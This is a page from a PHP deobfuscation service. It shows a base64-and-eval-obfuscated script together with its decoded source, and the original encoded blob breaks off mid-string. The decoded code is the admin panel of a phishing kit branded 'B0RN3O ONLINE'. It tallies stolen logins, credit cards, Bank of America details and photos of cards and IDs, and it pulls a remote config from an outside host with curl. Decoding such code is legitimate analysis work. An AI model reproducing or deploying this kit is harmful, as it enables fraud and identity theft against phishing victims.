Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PD9waHANCi8qDQp7ICdIZWxsbyBrYW5nIENyYWNrZXIgIScgfQ0KKi8NCnN..
Decoded Output download
?>b'<?php
/*
{ \'Hello kang Cracker !\' }
*/
session_start();
error_reporting(0);
header("Content-Type: text/html; charset=UTF-8");
include \'../load.php\';
include \'../main.php\';
$page = $_GET[\'priv\'];
$footer = \'<br>
<link rel="stylesheet" type="text/css" href="style.css">
<div id="menu">
<center> + <a href="?priv=home">Status</a> + <a href="?priv=setting">Setting</a> + <a href="?priv=notice">Notice</a> + <a href="?priv=logger">LogInfo</a> + <a href="?priv=logout">Logout</a> + </center></ul></div>
<div class="content-center">\';
$domain = preg_replace(\'/www./i\', \'\', $_SERVER[\'SERVER_NAME\']);
if (file_exists("../.config")){
}else{
$contents = load_conf();
$tulis = fopen("../.config","a");
fwrite($tulis,$contents);
fclose($tulis);
}
echo \'<html>
<head>
<title>Admin Panel</title>
<link rel="stylesheet" type="text/css" href="style.css">
<link rel="icon" href="../assets/img/favicon.ico" type="image/x-icon"></head>
<body>\';
if($page == $key) {
$id = $_POST[\'email\'];
$pw = $_POST[\'password\'];
if(isset($_POST[\'email\'])) {
if($id == $email and $pw == $password) {
$login = "valid";
} else {
$login = "invalid";
}
if($login == "valid") {
$_SESSION[\'email\'] = $id;
$_SESSION[\'password\'] = $pw;
}else{
die("Your Account Is Invalid ! <b>or</b> Your Account Has Ben Blocked from Server.");
}
if($_SESSION[\'email\'] == $email and $_SESSION[\'password\'] == $password) {
echo "<script type=\'text/javascript\'>window.top.location=\'?priv=home\';</script>";
}else{
echo "<script type=\'text/javascript\'>window.top.location=\'?priv=$key\';</script>";
}
}
if(@$_GET["priv"] != $key)
{
exit(\'<script>alert("Wrong key !")</script><meta http-equiv="refresh" content="0; url=##"/>\');
}
echo \'<div class="content-center">
<header style="font-size: 25px;color: green">LOGIN ADMIN PANEL</header><br>
<form method="post">
<div class="batas">
<h2 style="color:green;"">PUBLIC</h2>
<p><input style="width:320px;height:23px;color: green;border-color: green" type="email" placeholder="Email..." name="email" value=""/></p>
<p><input style="width:320px;height:23px;color: green;border-color: green" type="password" placeholder="Password..." name="password""value="" /></p>
</div>
<input type="hidden" name="token">
<input type="submit" style="font-family: Courier New;font-size: 14px;border-color: green" name="submit" value="Login">
</form></div>
</div><br><br><br><marquee><h4>TANPA NAMA</h4></marquee>\';
}
if($page == "home") {
if($_SESSION[\'email\'] == "" or $_SESSION[\'password\'] == "") {
die("SESSION EXPIRED!");
}
if($valdo == "valid") {
$status = "<h2 style=\'text-decoration: Underline;font-family: Courier;\'>$$ Info Activation Domain $$</h2>";
$font = "<font color=\'09ff00\'><b>Active</font>";
$form = "<input type=\'submit\' name=\'inaktif\' style=\'text-decoration: Underline;color: red;border-color: transparent;\' value=\'>> Inactivated <<\'></input>";
$scam = $domain.\'/?\'.$param;
}else{
$status = "<h2 style=\'text-decoration: Underline;font-family: Courier;\'>Activated Your Domain</h2>";
$font = "<font color=\'red\'><b>Inactive</font>";
$form = "<input type=\'submit\' name=\'aktif\' style=\'text-decoration: Underline;color: #26bc00;border-color: transparent;\' value=\'<< Activated >>\'></input>";
$scam = $domain;
}
echo \'<center><b><header style="font-family: Courier;color:green; font-size: 30px;">B0RN3O ONLINE</header></b></center>
\'.$footer.\'
\'.$status.\'
<div class="batas">
<p style="font-family: Courier;">Domain Kamu : <a style="color: #33ff00" target="_blank" href="../?\'.$param.\'">\'.$scam.\'</a>
<p style="font-family: Courier;">Status Kamu : \'.$font.\'<br>
<form action="" method="POST">
<input type="hidden" size="5" name="ad" required=required value="valid"></input>
<input type="hidden" size="5" name="id" required=required value="invalid"></input>
\'.$form.\'
</form>
</div><br>
</div>\';
@unlink("set.php");
$baru = trim(@$_POST[\'ad\']);
$lama = trim(@$_POST[\'id\']);
$file = "../main.php";
$isi = file_get_contents($file);
if(isset($_POST[\'aktif\'])) {
if(@preg_match("#b$lamab#is", $isi)) {
$isi = str_replace($lama,$baru,$isi);
$buka = fopen($file,\'w\');
fwrite($buka,$isi);
fclose($buka);
echo \'<script type="text/javascript">alert("Berhasil mendaftarkan domain");window.top.location="?priv=home";</script>\';
}
}
if(isset($_POST[\'inaktif\'])) {
if(@preg_match("#b$barub#is", $isi)) {
$isi = str_replace($baru,$lama,$isi);
$buka = fopen($file,\'w\');
fwrite($buka,$isi);
fclose($buka);
echo \'<script type="text/javascript">alert("Berhasil menonaktifkan domain");window.top.location="?priv=home";</script>\';
}
}
}
if($page == "setting") {
if($_SESSION[\'email\'] == "" or $_SESSION[\'password\'] == "") {
die("SESSION EXPIRED!");
}
if(isset($_POST[\'config\'])) {
if($_SESSION[\'email\'] == "" or $_SESSION[\'password\'] == "") {
die("SESSION EXPIRED!");
}
unlink("../.config");
$tulis = fopen("../.config","a");
fwrite($tulis,$_POST[\'config\']);
fclose($tulis);
echo "<script type=\'text/javascript\'>alert(\'Berhasil Menyimpan Settingan\');window.top.location=\'?priv=setting\';</script>";
}
$setting = parse_ini_file(\'../.config\');
$click = "../.config";
$file = fopen($click, "r");
$contents = fread($file, filesize($click));
fclose($file);
echo \'<center><b><header style="font-family: Courier;color:green; font-size: 30px;">-= B0RN3O ONLINE =-</header></b></center>
\'.$footer.\'
<h2 style="text-decoration: Underline;font-family: Courier;">Setting Config</h2>
<p style="font-family: Courier;">$ File : <a style="color:#0bda00;" target="_blank" href="../readme.txt">readme.txt</a></p>
<form method="post">
<div class="batas">
<p style="font-family: Courier;">$ Config : <br>
<textarea style="border-color: transparent" name="config" rows="31" cols="50">\'.$contents.\'</textarea>
<div class="center">
<input style="color: blue;border-color: green" type="submit" class="button" value="simpan">
</div>
</div>
</form>
</div>\';
}
if($page == "notice") {
if($_SESSION[\'email\'] == "" or $_SESSION[\'password\'] == "") {
die("SESSION EXPIRED!");
}
if(isset($_POST[\'noticeconfig\'])) {
if($_SESSION[\'email\'] == "" or $_SESSION[\'password\'] == "") {
die("SESSION EXPIRED!");
}
unlink("../lang.ini");
$tulis = fopen("../lang.ini","a");
fwrite($tulis,$_POST[\'noticeconfig\']);
fclose($tulis);
echo "<script type=\'text/javascript\'>alert(\'Berhasil Menyimpan Settingan\');window.top.location=\'?priv=notice\';</script>";
}
$setting = parse_ini_file(\'../lang.ini\');
$click = "../lang.ini";
$file = fopen($click, "r");
$contents = fread($file, filesize($click));
fclose($file);
echo \'<center><b><header style="font-family: Courier;color:green; font-size: 30px;">-= B0RN3O ONLINE =-</header></b></center>
\'.$footer.\'
<h2 style="text-decoration: Underline;font-family: Courier;">Setting Notice</h2>
<form method="post">
<p style="font-family: Courier;">Costum Notice Locked/Invoice Notice : <br>
<textarea style="border-color: transparent;" name="noticeconfig" rows="40" cols="60">\'.$contents.\'</textarea>
<div class="center">
<input style="color: blue;border-color: green" type="submit" class="button" value="simpan">
</div>
</div>
</form>
</div>\';
}
if($page == "logger") {
if($_SESSION[\'email\'] == "" or $_SESSION[\'password\'] == "") {
die("SESSION EXPIRED!");
}
$click = "../result/total_click.txt";
$file = fopen($click, "r");
$total_click = fread($file, filesize($click));
$total_click = substr_count($total_click, "n");
fclose($file);
if($total_click == 0) {
$total_click = "<font color=\'red\'>$total_click</font>";
}else{
$total_click = "<font color=\'green\'>$total_click</font>";
}
$click = "../result/total_login.txt";
$file = fopen($click, "r");
$total_login = fread($file, filesize($click));
$total_login = substr_count($total_login, "n");
fclose($file);
if($total_login == 0) {
$total_login = "<font color=\'red\'>$total_login</font>";
}else{
$total_login = "<font color=\'green\'>$total_login</font>";
}
$click = "../result/total_cc.txt";
$file = fopen($click, "r");
$total_cc = fread($file, filesize($click));
$total_cc = substr_count($total_cc, "n");
fclose($file);
if($total_cc == 0) {
$total_cc = "<font color=\'red\'>$total_cc</font>";
}else{
$total_cc = "<font color=\'green\'>$total_cc</font>";
}
$click = "../result/total_bank.txt";
$file = fopen($click, "r");
$total_bank = fread($file, filesize($click));
$total_bank = substr_count($total_bank, "n");
fclose($file);
if($total_bank == 0) {
$total_bank = "<font color=\'red\'>$total_bank</font>";
}else{
$total_bank = "<font color=\'green\'>$total_bank</font>";
}
$click = "../result/total_upload.txt";
$file = fopen($click, "r");
$total_photo = fread($file, filesize($click));
$total_photo = substr_count($total_photo, "n");
fclose($file);
if($total_photo == 0) {
$total_photo = "<font color=\'red\'>$total_photo</font>";
}else{
$total_photo = "<font color=\'green\'>$total_photo</font>";
}
$click = "../result/total_bot.txt";
$file = fopen($click, "r");
$total_bot = fread($file, filesize($click));
$total_bot = substr_count($total_bot, "n");
fclose($file);
if($total_bot == 0) {
$total_bot = "<font color=\'red\'>$total_bot</font>";
}else{
$total_bot = "<font color=\'green\'>$total_bot</font>";
}
$click = "../result/total_bin.txt";
$file = fopen($click, "r");
$total_bin = fread($file, filesize($click));
fclose($file);
$click = "../result/total_bot.txt";
$file = fopen($click, "r");
$log_bot = fread($file, filesize($click));
fclose($file);
$click = "../result/log_visitor.txt";
$file = fopen($click, "r");
$log_visitor = fread($file, filesize($click));
fclose($file);
echo \'<center><b><header style="font-family: Courier;color:green; font-size: 30px;">B0RN3O ONLINE</header></b></center>
\'.$footer.\'
<h2 style="text-decoration: Underline;font-family: Courier;color:black;">Statistic</h2>
<p style="font-family: Courier;color:green;">$ Click : \'.$total_click.\'
<p style="font-family: Courier;color:green;">$ Login : \'.$total_login.\'
<p style="font-family: Courier;color:green;">$ Credit Card : \'.$total_cc.\'
<p style="font-family: Courier;color:green;">$ Bank Of America : \'.$total_bank.\'
<p style="font-family: Courier;color:green;">$ Photo CC/ID : \'.$total_photo.\'
<p style="font-family: Courier;color:green;">$ Bot : \'.$total_bot.\'</p>
<textarea style="border-color: #009400" rows="20" cols="60" disabled>\'.$log_visitor.\'</textarea><br>
<p style="font-family: Courier;">$ Bin : <br>
<textarea style="border-color: #009400" rows="12" cols="60" disabled>\'.$total_bin.\'</textarea><br>
<p style="font-family: Courier;">$ Bot Log : <br>
<textarea style="border-color: #009400" rows="12" cols="60" disabled>\'.$log_bot.\'</textarea><br>
<div class="center">
<form method="POST">
<input style="color: #da0000;border-color: #009400" type="submit" name="resetdata" class="button" value="reset">
</div></form>
</div>\';
}
if($page == "logout") {
session_destroy();
echo "Terima Kasih, Selamat Jalan !";
echo "<META HTTP-EQUIV=\'refresh\' content=\'1; URL=?priv=".$key."\'>";
}
if(isset($_POST[\'resetdata\'])) {
if($_SESSION[\'email\'] == "" or $_SESSION[\'password\'] == "") {
die("SESSION EXPIRED!");
}
unlink("../result/total_login.txt");
unlink("../result/total_cc.txt");
unlink("../result/total_upload.txt");
unlink("../result/total_click.txt");
unlink("../result/total_bank.txt");
unlink("../result/total_bin.txt");
unlink("../result/total_bot.txt");
unlink("../result/log_visitor.txt");
echo "<script type=\'text/javascript\'>window.top.location=\'?priv=logger\';</script>";
}
function load_conf() {
$get = curl_init();
curl_setopt($get, CURLOPT_URL,"https://quickact.de/config.txt");
curl_setopt($get, CURLOPT_RETURNTRANSFER, true);
$server_output = curl_exec ($get);
curl_close($get);
return $server_output;
}
?>'
Did this file decode correctly?
Original Code
<?php eval("?>".base64_decode("PD9waHANCi8qDQp7ICdIZWxsbyBrYW5nIENyYWNrZXIgIScgfQ0KKi8NCnNlc3Npb25fc3RhcnQoKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCmhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiKTsNCmluY2x1ZGUgJy4uL2xvYWQucGhwJzsNCmluY2x1ZGUgJy4uL21haW4ucGhwJzsNCiRwYWdlID0gJF9HRVRbJ3ByaXYnXTsNCiRmb290ZXIgPSAnPGJyPg0KCQkJPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0ic3R5bGUuY3NzIj4NCgkJCTxkaXYgaWQ9Im1lbnUiPg0KICAgICAgICAgICAgICAgIDxjZW50ZXI+ICsgPGEgaHJlZj0iP3ByaXY9aG9tZSI+U3RhdHVzPC9hPiArIDxhIGhyZWY9Ij9wcml2PXNldHRpbmciPlNldHRpbmc8L2E+ICsgPGEgaHJlZj0iP3ByaXY9bm90aWNlIj5Ob3RpY2U8L2E+ICsgPGEgaHJlZj0iP3ByaXY9bG9nZ2VyIj5Mb2dJbmZvPC9hPiArIDxhIGhyZWY9Ij9wcml2PWxvZ291dCI+TG9nb3V0PC9hPiArIDwvY2VudGVyPjwvdWw+PC9kaXY+DQoJCQkJPGRpdiBjbGFzcz0iY29udGVudC1jZW50ZXIiPic7DQokZG9tYWluID0gcHJlZ19yZXBsYWNlKCcvd3d3Li9pJywgJycsICRfU0VSVkVSWydTRVJWRVJfTkFNRSddKTsNCmlmIChmaWxlX2V4aXN0cygiLi4vLmNvbmZpZyIpKXsNCn1lbHNlew0KICAgICRjb250ZW50cyA9IGxvYWRfY29uZigpOw0KICAgICR0dWxpcyA9IGZvcGVuKCIuLi8uY29uZmlnIiwiYSIpOw0KICAgIGZ3cml0ZSgkdHVsaXMsJGNvbnRlbnRzKTsNCiAgICBmY2xvc2UoJHR1bGlzKTsNCn0NCmVjaG8gJzxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+QWRtaW4gUGFuZWw8L3RpdGxlPg0KPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0ic3R5bGUuY3NzIj4NCjxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iLi4vYXNzZXRzL2ltZy9mYXZpY29uLmljbyIgdHlwZT0iaW1hZ2UveC1pY29uIj48L2hlYWQ+DQo8Ym9keT4nOw0KaWYoJHBhZ2UgPT0gJGtleSkgew0KJGlkID0gJF9QT1NUWydlbWFpbCddOw0KJHB3ID0gJF9QT1NUWydwYXNzd29yZCddOw0KaWYoaXNzZXQoJF9QT1NUWydlbWFpbCddKSkgew0KICAgIGlmKCRpZCA9PSAkZW1haWwgYW5kICRwdyA9PSAkcGFzc3dvcmQpIHsNCgkJJGxvZ2luID0gInZhbGlkIjsNCgl9IGVsc2Ugew0KCQkkbG9naW4gPSAiaW52YWxpZCI7DQoJfQ0KICAgIGlmKCRsb2dpbiA9PSAidmFsaWQiKSB7DQogICAgICAgICRfU0VTU0lPTlsnZW1haWwnXSA9ICRpZDsNCiAgICAgICAgJF9TRVNTSU9OWydwYXNzd29yZCddID0gJHB3Ow0KICAgIH1lbHNlew0KICAgICAgICBkaWUoIllvdXIgQWNjb3VudCBJcyBJbnZhbGlkICEgPGI+b3I8L2I+IFlvdXIgQWNjb3VudCBIYXMgQmVuIEJsb2NrZWQgZnJvbSBTZXJ2ZXIuIik7DQogICAgfQ0KCWlmKCRfU0VTU0lPTlsnZW1haWwnXSA9PSAkZW1haWwgYW5kICRfU0VTU0lPTlsncGFzc3dvcmQnXSA9PSAkcGFzc3dvcmQpIHsNCiAgICAgICAgZWNobyAiPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPndpbmRvdy50b3AubG9jYXRpb249Jz9wcml2PWhvbWUnOzwvc2NyaXB0PiI7DQogICAgfWVsc2V7DQogICAgICAgIGVjaG8gIjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz53aW5kb3cudG9wLmxvY2F0aW9uPSc/cHJpdj0ka2V5Jzs8L3NjcmlwdD4iOw0KICAgIH0NCn0NCmlmKEAkX0dFVFsicHJpdiJdICE9ICRrZXkpDQogICAgew0KICAgICAgICAgICBleGl0KCc8c2NyaXB0PmFsZXJ0KCJXcm9uZyBrZXkgISIpPC9zY3JpcHQ+PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDsgdXJsPSMjIi8+Jyk7DQogICAgfSANCmVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQtY2VudGVyIj4NCjxoZWFkZXIgc3R5bGU9ImZvbnQtc2l6ZTogMjVweDtjb2xvcjogZ3JlZW4iPkxPR0lOIEFETUlOIFBBTkVMPC9oZWFkZXI+PGJyPg0KCQkJCQkJPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJiYXRhcyI+DQogICAgICAgICAgICAgICAgICAgPGgyIHN0eWxlPSJjb2xvcjpncmVlbjsiIj5QVUJMSUM8L2gyPg0KICAgICAgICAgICAgICAgICAgIDxwPjxpbnB1dCBzdHlsZT0id2lkdGg6MzIwcHg7aGVpZ2h0OjIzcHg7Y29sb3I6IGdyZWVuO2JvcmRlci1jb2xvcjogZ3JlZW4iIHR5cGU9ImVtYWlsIiBwbGFjZWhvbGRlcj0iRW1haWwuLi4iIG5hbWU9ImVtYWlsIiB2YWx1ZT0iIi8+PC9wPg0KICAgICAgICAgICAgICAgICAgIDxwPjxpbnB1dCBzdHlsZT0id2lkdGg6MzIwcHg7aGVpZ2h0OjIzcHg7Y29sb3I6IGdyZWVuO2JvcmRlci1jb2xvcjogZ3JlZW4iIHR5cGU9InBhc3N3b3JkIiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQuLi4iIG5hbWU9InBhc3N3b3JkIiJ2YWx1ZT0iIiAvPjwvcD4NCiAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iPg0KCQkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBzdHlsZT0iZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3O2ZvbnQtc2l6ZTogMTRweDtib3JkZXItY29sb3I6IGdyZWVuIiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+DQogICAgICAgICAgICA8L2Zvcm0+PC9kaXY+DQoJCQk8L2Rpdj48YnI+PGJyPjxicj48bWFycXVlZT48aDQ+VEFOUEEgTkFNQTwvaDQ+PC9tYXJxdWVlPic7DQp9DQoNCmlmKCRwYWdlID09ICJob21lIikgew0KICAgIGlmKCRfU0VTU0lPTlsnZW1haWwnXSA9PSAiIiBvciAkX1NFU1NJT05bJ3Bhc3N3b3JkJ10gPT0gIiIpIHsNCiAgICAgICAgZGllKCJTRVNTSU9OIEVYUElSRUQhIik7DQogICAgfQ0KICAgIGlmKCR2YWxkbyA9PSAidmFsaWQiKSB7DQoJCSRzdGF0dXMgPSAiPGgyIHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IFVuZGVybGluZTtmb250LWZhbWlseTogQ291cmllcjsnPiQkIEluZm8gQWN0aXZhdGlvbiBEb21haW4gJCQ8L2gyPiI7DQogICAgICAgICRmb250ID0gIjxmb250IGNvbG9yPScwOWZmMDAnPjxiPkFjdGl2ZTwvZm9udD4iOw0KCQkkZm9ybSA9ICI8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdpbmFrdGlmJyBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiBVbmRlcmxpbmU7Y29sb3I6IHJlZDtib3JkZXItY29sb3I6IHRyYW5zcGFyZW50OycgdmFsdWU9Jz4+IEluYWN0aXZhdGVkIDw8Jz48L2lucHV0PiI7DQoJCSRzY2FtID0gJGRvbWFpbi4nLz8nLiRwYXJhbTsNCiAgICB9ZWxzZXsNCgkJJHN0YXR1cyA9ICI8aDIgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogVW5kZXJsaW5lO2ZvbnQtZmFtaWx5OiBDb3VyaWVyOyc+QWN0aXZhdGVkIFlvdXIgRG9tYWluPC9oMj4iOw0KICAgICAgICAkZm9udCA9ICI8Zm9udCBjb2xvcj0ncmVkJz48Yj5JbmFjdGl2ZTwvZm9udD4iOw0KCQkkZm9ybSA9ICI8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdha3RpZicgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogVW5kZXJsaW5lO2NvbG9yOiAjMjZiYzAwO2JvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7JyB2YWx1ZT0nPDwgQWN0aXZhdGVkID4+Jz48L2lucHV0PiI7DQoJCSRzY2FtID0gJGRvbWFpbjsNCiAgICB9DQogICAgZWNobyAnPGNlbnRlcj48Yj48aGVhZGVyIHN0eWxlPSJmb250LWZhbWlseTogQ291cmllcjtjb2xvcjpncmVlbjsgZm9udC1zaXplOiAzMHB4OyI+QjBSTjNPIE9OTElORTwvaGVhZGVyPjwvYj48L2NlbnRlcj4NCgkJCScuJGZvb3Rlci4nDQogICAgICAgICAgICAnLiRzdGF0dXMuJw0KCQkJPGRpdiBjbGFzcz0iYmF0YXMiPg0KCQkJPHAgc3R5bGU9ImZvbnQtZmFtaWx5OiBDb3VyaWVyOyI+RG9tYWluIEthbXUgIDoJIDxhIHN0eWxlPSJjb2xvcjogIzMzZmYwMCIgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Ii4uLz8nLiRwYXJhbS4nIj4nLiRzY2FtLic8L2E+DQoJCQk8cCBzdHlsZT0iZm9udC1mYW1pbHk6IENvdXJpZXI7Ij5TdGF0dXMgS2FtdSAgOgkgJy4kZm9udC4nPGJyPg0KCQkJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJQT1NUIj4NCgkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgc2l6ZT0iNSIgbmFtZT0iYWQiIHJlcXVpcmVkPXJlcXVpcmVkIHZhbHVlPSJ2YWxpZCI+PC9pbnB1dD4NCgkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgc2l6ZT0iNSIgbmFtZT0iaWQiIHJlcXVpcmVkPXJlcXVpcmVkIHZhbHVlPSJpbnZhbGlkIj48L2lucHV0Pg0KCQkJCQknLiRmb3JtLicNCgkJCQkJPC9mb3JtPg0KICAgICAgICAgICAgICAgIDwvZGl2Pjxicj4NCiAgICA8L2Rpdj4nOw0KCUB1bmxpbmsoInNldC5waHAiKTsNCgkkYmFydSA9IHRyaW0oQCRfUE9TVFsnYWQnXSk7DQoJJGxhbWEgPSB0cmltKEAkX1BPU1RbJ2lkJ10pOw0KICAgICRmaWxlICAgPSAiLi4vbWFpbi5waHAiOw0KICAgICRpc2kgICAgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7DQppZihpc3NldCgkX1BPU1RbJ2FrdGlmJ10pKSB7DQogICAgaWYoQHByZWdfbWF0Y2goIiNiJGxhbWFiI2lzIiwgJGlzaSkpIHsNCiAgICAgICAgJGlzaSA9IHN0cl9yZXBsYWNlKCRsYW1hLCRiYXJ1LCRpc2kpOw0KICAgICAgICAkYnVrYSA9IGZvcGVuKCRmaWxlLCd3Jyk7DQogICAgICAgIGZ3cml0ZSgkYnVrYSwkaXNpKTsNCiAgICAgICAgZmNsb3NlKCRidWthKTsNCiAgICAgICAgZWNobyAnPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmFsZXJ0KCJCZXJoYXNpbCBtZW5kYWZ0YXJrYW4gZG9tYWluIik7d2luZG93LnRvcC5sb2NhdGlvbj0iP3ByaXY9aG9tZSI7PC9zY3JpcHQ+JzsNCiAgIH0NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaW5ha3RpZiddKSkgew0KICAgIGlmKEBwcmVnX21hdGNoKCIjYiRiYXJ1YiNpcyIsICRpc2kpKSB7DQogICAgICAgICRpc2kgPSBzdHJfcmVwbGFjZSgkYmFydSwkbGFtYSwkaXNpKTsNCiAgICAgICAgJGJ1a2EgPSBmb3BlbigkZmlsZSwndycpOw0KICAgICAgICBmd3JpdGUoJGJ1a2EsJGlzaSk7DQogICAgICAgIGZjbG9zZSgkYnVrYSk7DQogICAgICAgIGVjaG8gJzxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5hbGVydCgiQmVyaGFzaWwgbWVub25ha3RpZmthbiBkb21haW4iKTt3aW5kb3cudG9wLmxvY2F0aW9uPSI/cHJpdj1ob21lIjs8L3NjcmlwdD4nOw0KICAgfQ0KfQ0KfQ0KDQppZigkcGFnZSA9PSAic2V0dGluZyIpIHsNCglpZigkX1NFU1NJT05bJ2VtYWlsJ10gPT0gIiIgb3IgJF9TRVNTSU9OWydwYXNzd29yZCddID09ICIiKSB7DQogICAgICAgIGRpZSgiU0VTU0lPTiBFWFBJUkVEISIpOw0KICAgIH0NCmlmKGlzc2V0KCRfUE9TVFsnY29uZmlnJ10pKSB7DQogICAgaWYoJF9TRVNTSU9OWydlbWFpbCddID09ICIiIG9yICRfU0VTU0lPTlsncGFzc3dvcmQnXSA9PSAiIikgew0KICAgICAgICBkaWUoIlNFU1NJT04gRVhQSVJFRCEiKTsNCiAgICB9DQogICAgDQogICAgdW5saW5rKCIuLi8uY29uZmlnIik7DQogICAgJHR1bGlzID0gZm9wZW4oIi4uLy5jb25maWciLCJhIik7DQogICAgZndyaXRlKCR0dWxpcywkX1BPU1RbJ2NvbmZpZyddKTsNCiAgICBmY2xvc2UoJHR1bGlzKTsNCiAgICBlY2hvICI8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+YWxlcnQoJ0Jlcmhhc2lsIE1lbnlpbXBhbiBTZXR0aW5nYW4nKTt3aW5kb3cudG9wLmxvY2F0aW9uPSc/cHJpdj1zZXR0aW5nJzs8L3NjcmlwdD4iOw0KICAgIA0KfQ0KJHNldHRpbmcgPSBwYXJzZV9pbmlfZmlsZSgnLi4vLmNvbmZpZycpOw0KJGNsaWNrID0gIi4uLy5jb25maWciOw0KJGZpbGUgPSBmb3BlbigkY2xpY2ssICJyIik7DQokY29udGVudHMgPSBmcmVhZCgkZmlsZSwgZmlsZXNpemUoJGNsaWNrKSk7DQpmY2xvc2UoJGZpbGUpOw0KZWNobyAnPGNlbnRlcj48Yj48aGVhZGVyIHN0eWxlPSJmb250LWZhbWlseTogQ291cmllcjtjb2xvcjpncmVlbjsgZm9udC1zaXplOiAzMHB4OyI+LT0gQjBSTjNPIE9OTElORSA9LTwvaGVhZGVyPjwvYj48L2NlbnRlcj4NCgkJJy4kZm9vdGVyLicNCiAgICAgICAgICAgIDxoMiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBVbmRlcmxpbmU7Zm9udC1mYW1pbHk6IENvdXJpZXI7Ij5TZXR0aW5nIENvbmZpZzwvaDI+DQogICAgICAgICAgICA8cCBzdHlsZT0iZm9udC1mYW1pbHk6IENvdXJpZXI7Ij4kIEZpbGUgOgkgPGEgc3R5bGU9ImNvbG9yOiMwYmRhMDA7IiB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iLi4vcmVhZG1lLnR4dCI+cmVhZG1lLnR4dDwvYT48L3A+DQogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJhdGFzIj4NCiAgICAgICAgICAgICAgICA8cCBzdHlsZT0iZm9udC1mYW1pbHk6IENvdXJpZXI7Ij4kIENvbmZpZyA6CSA8YnI+DQoJCQkJPHRleHRhcmVhIHN0eWxlPSJib3JkZXItY29sb3I6IHRyYW5zcGFyZW50IiBuYW1lPSJjb25maWciIHJvd3M9IjMxIiBjb2xzPSI1MCI+Jy4kY29udGVudHMuJzwvdGV4dGFyZWE+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2VudGVyIj4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHN0eWxlPSJjb2xvcjogYmx1ZTtib3JkZXItY29sb3I6IGdyZWVuIiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidXR0b24iIHZhbHVlPSJzaW1wYW4iPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KCQkJPC9kaXY+DQogICAgICAgIDwvZm9ybT4NCiAgICA8L2Rpdj4nOw0KfQ0KDQppZigkcGFnZSA9PSAibm90aWNlIikgew0KICAgIGlmKCRfU0VTU0lPTlsnZW1haWwnXSA9PSAiIiBvciAkX1NFU1NJT05bJ3Bhc3N3b3JkJ10gPT0gIiIpIHsNCiAgICAgICAgZGllKCJTRVNTSU9OIEVYUElSRUQhIik7DQogICAgfQ0KaWYoaXNzZXQoJF9QT1NUWydub3RpY2Vjb25maWcnXSkpIHsNCiAgICBpZigkX1NFU1NJT05bJ2VtYWlsJ10gPT0gIiIgb3IgJF9TRVNTSU9OWydwYXNzd29yZCddID09ICIiKSB7DQogICAgICAgIGRpZSgiU0VTU0lPTiBFWFBJUkVEISIpOw0KICAgIH0NCiAgICANCiAgICB1bmxpbmsoIi4uL2xhbmcuaW5pIik7DQogICAgJHR1bGlzID0gZm9wZW4oIi4uL2xhbmcuaW5pIiwiYSIpOw0KICAgIGZ3cml0ZSgkdHVsaXMsJF9QT1NUWydub3RpY2Vjb25maWcnXSk7DQogICAgZmNsb3NlKCR0dWxpcyk7DQogICAgZWNobyAiPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPmFsZXJ0KCdCZXJoYXNpbCBNZW55aW1wYW4gU2V0dGluZ2FuJyk7d2luZG93LnRvcC5sb2NhdGlvbj0nP3ByaXY9bm90aWNlJzs8L3NjcmlwdD4iOw0KICAgIA0KfQ0KJHNldHRpbmcgPSBwYXJzZV9pbmlfZmlsZSgnLi4vbGFuZy5pbmknKTsNCiRjbGljayA9ICIuLi9sYW5nLmluaSI7DQokZmlsZSA9IGZvcGVuKCRjbGljaywgInIiKTsNCiRjb250ZW50cyA9IGZyZWFkKCRmaWxlLCBmaWxlc2l6ZSgkY2xpY2spKTsNCmZjbG9zZSgkZmlsZSk7DQplY2hvICc8Y2VudGVyPjxiPjxo